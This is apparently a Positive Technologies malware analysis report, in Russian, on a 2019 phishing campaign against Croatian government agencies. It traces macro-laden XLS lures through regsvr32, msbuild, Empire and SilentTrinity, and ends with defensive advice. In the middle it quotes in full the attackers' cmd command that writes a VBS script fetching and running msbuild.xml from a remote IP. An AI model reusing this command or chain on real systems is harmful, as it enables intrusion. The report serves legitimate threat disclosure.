IronPython на стороне зла: как PT раскрыли кибератаку на госслужбы Хорватии
Эксплойт
Специалисты из экспертного центра безопасности Positive Technologies всегда держат руку на пульсе и следят за появлением новых интересных и опасных угроз. Именно так в начале апреля 2019 года была обнаружена целевая атака на государственные органы Хорватии. В данном отчете рассмотрена цепочка доставки вредоносного ПО на компьютер жертвы, представлены индикаторы компрометации, а также отмечено использование нового постэксплуатационного фреймворка, который, по нашим данным, ни разу ранее не применялся злоумышленниками.
Заражение жертвы
2 апреля 2019 года во время планового мониторинга различных ресурсов на предмет нового вредоносного ПО эксперты PT Expert Security Center обнаружили необычный офисный документ.

Уведомление об отправке было создано в офисном приложении MS Excel и сохранено в старом формате XLS днем ранее (2019-04-01 16:28:07 (UTC)). Тем не менее имеющаяся временная метка о печати (2018-07-25 00:12:30 (UTC)) свидетельствует, что документ использовался еще в 2018 году. Мы вернемся к этому косвенному признаку ниже.
Примечательным является то, что поле «Комментарии» (которое можно изменить в том числе и средствами приложения MS Excel) содержит команду на языке командного интерпретатора Windows:


В результате выполнения этой команды в системе создается сценарий на языке Visual Basic, который при запуске выполнит следующие действия:
- подключит сетевой ресурс средствами технологии WebDAV,
- загрузит и запустит файл следующей стадии заражения с использованием легитимной системной утилиты regsvr32.
При подключении сетевого ресурса по протоколу HTTP(S) на сервер злоумышленника отправляется NTLM-запрос, с помощью которого может быть восстановлен NTLM-хеш. Затем полученный хеш может быть использован для авторизации на сервисах от имени жертвы. Мы не нашли следов проведения подобных атак, а причины подключения сетевого ресурса остаются неясны.
Техника использования программы regsvr32 (управление элементами ActiveX) во вредоносных целях не нова и даже имеет название — Squiblydoo. Атакующие применяют ее для соблюдения требований контроля запуска доверенных программ, а также для обхода антивирусного детектирования.
Сам по себе текст в поле «Комментарии» безобиден, а его выполнение должно быть чем-то обусловлено. Когда жертва откроет полученный документ Excel, появится сообщение-ловушка на хорватском языке, которое убеждает включить макросы:

Если выполнение макросов будет разрешено, пользователь увидит фальшивое уведомление о посылке с логотипом хорватской почты:

Тем временем средствами макроса сценарий поля «Комментарии» будет выполнен, а созданный в системе скрипт будет добавлен в автозагрузку:

Любопытно, что создаваемый сценарий не запускается макросом. Возможно, это задумка злоумышленника: следующая стадия заражения произойдет после перезагрузки системы и входа пользователя. Мы вернемся к этой детали ниже.
Часть сценария по-своему интересна: аккуратная структура кода с форматированием, отступами и прочими нюансами разметки может быть признаком использования стороннего кода и даже программы, которая позволяет создавать подобные документы автоматически.

Поиск ключевых слов дает множество аналогичных частей кода на разных ресурсах. Мы склоняемся к версии, что хакер просто нашел подходящий программный код и немного подправил его для выполнения нужных ему действий:



Вернемся к следующей стадии заражения средствами утилиты regsvr32. При выполнении команды с сервера злоумышленника будет загружен скриптлет update.sct на языке JavaScript. В теле скрипта содержатся бинарные данные, закодированные алгоритмом Base64. После декодирования полученные данные будут десериализованы и выполнены средствами программной платформы .NET Framework.

Стоит отметить, что и этот код был заимствован атакующим на одном из общедоступных ресурсов

Непохоже, что хакер тщательно вникал в логику работы используемых инструментов. Например, в рассмотренном скриптлете вызывается функция setversion, которая ничего не делает. Один из примеров, доступных в Сети, выглядит также.
Распакованный и запущенный объект представляет собой исполняемый PE-файл на платформе .NET.


В результате компиляции сохранился путь до проекта с исходным кодом. Суффикс -master говорит о том, что проект был предварительно склонирован с репозитория, а каталог SharpPick ведет к известному приложению, которое позволяет загружать и выполнять код на языке PowerShell без применения непосредственно интерпретатора языка, а с использованием зависимостей .NET.
Несмотря на доступность проекта утилиты SharpPick на GitHub, следует убедиться, что не были внесены существенные изменения.

В результате декомпиляции был получен псевдокод, при выполнении которого декодируется из Base64 и запускается PowerShell-скрипт:

После упрощения кода разобрать его логику не составляет особого труда:
- формируется объект для взаимодействия с веб-сервером с заданными значениями User-Agent, Cookie и настройками прокси;
- загружается полезная нагрузка по заданному адресу;
- результат расшифровывается алгоритмом RC4 с использованием заданного ключа и запускается.
К сожалению, во время нашего исследования управляющий сервер уже был недоступен. Данные, которые с него были получены ранее, нам найти не удалось. Однако и на этот раз имеется достаточно информации в Сети (пример: отчет наших коллег из FireEye), чтобы однозначно установить: конечное звено в данной цепочке заражения — Empire backdoor, инструмент для удаленного администрирования компьютера жертвы в составе постэксплуатационного фреймворка Empire Framework.

Интересно, что другие паттерны скрипта ведут на обширную статью о техниках проведения тестирования на проникновения с особым вниманием к сокрытию инфраструктуры атакующих за проксирующими серверами. Наиболее вероятный источник информации, который использовался злоумышленником, — статья коллег из Payatu Technologies, где они приводят подробную инструкцию по перенаправлению сессий на легитимные ресурсы, блокировке нежелательных пакетов, логированию и так далее, в том числе с использованием Empire.
Спустя несколько часов мы обнаружили еще один документ о посылке. Он имеет множество сходств с предыдущим: также найден в Хорватии (2019-04-02 16:52:56 (UTC)), имеет такое же название и даже изображение-ловушку о полученной посылке. Но все же есть различия.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- Подключение сетевого ресурса происходит средствами протокола SMB.
- Загрузка и запуск следующей стадии заражения с применением msbuild — легитимной утилиты пакета .NET Framework.
Любопытно, что в адресе монтируемого каталога присутствует строка webdav, косвенно связывающая этот случай с предыдущим. В этот раз атака на NTLM-хеш по-прежнему возможна, хотя подтверждений о ее применении нет. Снова для успешного обхода ограничения запуска сторонних программ используется легитимное приложения (на этот раз msbuild). Прежде чем опишем технику злоупотребления, упомянем об отличиях в программном коде макроса нового документа.
Атакующие не вносили существенных изменений в логику VBA-сценария. Но стоит отметить, что на этот раз они не только обеспечивают автоматическую загрузку создаваемого VBS-скрипта в системе, но и запускают его в момент открытия документа. Вероятнее всего, в предыдущем случае злоумышленники просто забыли про это, а спустя некоторое время, обнаружив оплошность, поправили ее в новой версии документа.

Следующая стадия заражения представляет собой XML-документ, в котором содержится программный код на языке C#. Особенность утилиты msbuild позволяет скомпилировать и запустить содержащийся код на лету, о чем свидетельствуют оставленные хакером комментарии в начале разметки.
В коде снова представлен Base64-буфер, который будет раскодирован, разжат алгоритмом Deflate и запущен. Полагаем, читатель уже догадывается о том, что и на этот раз злоумышленник воспользовался свободно доступным шаблоном, о чем свидетельствуют упомянутые комментарии и множество источников в Сети с аналогичным кодом.

В итоге и на этот раз в память будет загружен и выполнен PE-файл на платформе .NET. А отладочная информация содержит не только признак того, что проект был собран на виртуальной машине (возможно, в целях сокрытия информации об атакующем), но и каталог SILENTTRINITY, на котором мы остановимся подробнее.

После изучения этих двух документов о посылке мы нашли еще два. И формат файла, и название, и картинка-ловушка с указанным регионом остались неизменными. Документы были доступны в конце августа 2018 года, что подтверждает гипотезу о долгосрочности кампании, о чем мы писали в начале отчета.
Любопытно, что в прошлом году хакеры не использовали поле «Комментарии», однако пустили в ход легитимные утилиты. Вредоносный компонент загружался с помощью утилиты для работы с сертификатами и выполнения криптографических операций certutil, а запуск обеспечивался инструментарием управления системой WMI:

К сожалению, за давностью произошедшего нам не удалось установить последующие звенья цепочки атак 2018 года.
Стоит также отметить, что часть кода VBA-скрипта оставалась неизменной, за исключением удаленных вспомогательных комментариев, поясняющих логику работы.

Фреймворк SilentTrinity
Поисковая выдача на ключевое слово SILENTTRINITY из отладочной информации PE-файла без труда позволяет установить происхождение этого звена атаки. В октябре 2018 года Марчелло Сальвати (исследователь компании Black Hills Information Security) разместил проект под названием SILENTTRINITY на популярном репозитории GitHub. Основная идея: использовать гибкость и преимущества известного постэксплуатационного PowerShell-фреймворка в скриптовом языке программирования Python, а именно — IronPython. Проект развивается по сей день.
Мы не будем углубляться в детали работы и реализации проекта (тем более что автор подробно рассказал о нем в своем докладе). Осветим лишь базовую логику работы и интересные моменты в реализации.
После запуска PE-файла (впрочем, промежуточное звено может быть в другом формате) происходит следующее:
- обращение к управляющему серверу для загрузки ZIP-архива с необходимыми зависимостями и главным скриптом на Python;
- содержимое архива извлекается без сохранения на диск;
- регистрируются зависимости для успешной обработки Python-скриптов;
- запускается основной Python-скрипт, ожидающий задачи от злоумышленника;
- каждая задача передается в виде готового Python-скрипта;
- задача выполняется на стороне жертвы в отдельном потоке;
- результат работы передается обратно на управляющий сервер.

Из особенностей стоит выделить следующее:
- Поддержка IronPython, в том числе языка Boo (подмножество IronPython со строгой типизацией данных).
- Вся активность не требует дискового пространства: зависимости, скрипты, задачи располагаются в памяти (fileless-атака).
- Архив с зависимостями, задачи, результат работы команд — все общение между жертвой и хакером шифруется алгоритмом AES.
- Общий ключ формируется протоколом Диффи — Хеллмана.
- Сетевой транспорт обеспечивается на уровне протокола HTTP(S) с поддержкой проксирования.

Интересно, что в день проведения атак PE-загрузчик был загружен на сервис VirusTotal, где ни один антивирусный вендор не определял его как вредоносный. В этом нет ничего удивительного: во-первых, бинарный файл не попадает на диск, и сигнатурный детект большого смысла не имеет; во-вторых, статическое детектирование далеко не единственная технология защиты пользователей.

Кроме того, спустя несколько дней после атаки вердикты детектирования все же начали появляться. Важно, что в период атак либо защитные средства еще не были оснащены алгоритмами определения, либо об угрозе не было известно в принципе.

Вероятнее всего, это и послужило причиной выбора этого решения для проведения атак. У нас нет сведений, что фреймворк SilentTrinity уже применялся во вредоносных атаках ранее.
Инфраструктура, используемая атакующими
Стоит упомянуть, что сетевая инфраструктура, используемая хакерами, хронологически связана с проводимыми атаками.

Домены создавались таким образом, чтобы быть похожими на легитимные атакуемые ресурсы. Это позволяет получить доверие пользователей при проведении фишинговых атак. Отметим, что затрагиваемые ресурсы относятся не только к Хорватии.
Все домены зарегистрированы с применением технологии защиты компании WhoisGuard. Она позволяет скрыть настоящие сведения о регистранте домена в целях защиты от спама, в то время как злоумышленники используют эту технологию в целях анонимизации.
Серверы, раздающие и управляющие вредоносным ПО, были арендованы у нидерландского провайдера Breezle.
Все имеющиеся сведения об узлах, адресах, доменах злоумышленников со множеством связей между собой позволяют судить о бо́льших объемах вредоносного ПО, которое было у атакующих в этот раз. Мы не исключаем, что в кампании могли быть использованы аналогичные рассмотренным инструменты и некоторые случаи заражения остались нераскрытыми.

Заключение
Через день после обнаружения документов в новостях вышел пресс-релиз со ссылкой на Департамент безопасности информационных систем Хорватии о проводимых целевых фишинговых атаках. Следы были обнаружены в нескольких государственных органах страны. Сообщается, что жертвам рассылались электронные письма с ссылкой на фишинговый сайт, с которого предлагается загрузить вредоносный документ, с которых начинался наш анализ. Это заполняет недостающие звенья в цепочке атак, а в завершении мы бы хотели обратить внимание на методы защиты, которые позволяют снизить урон от таких атак:
- Мониторинг и контроль использования некоторых доверенных программ (certutil, regsvr32, msbuild, net, wmic …)
- Проверка и анализ не только вложений в электронных письмах, но и web-ссылок
- Периодические сканирования памяти ПК в корпоративной сети
- Успешные соединения с C2 Silent Trinity (даже под TLS) можно обнаружить с помощью PT Network Attack Discovery, кроме того в нашем репозитории мы опубликовали детекты для коммьюнити.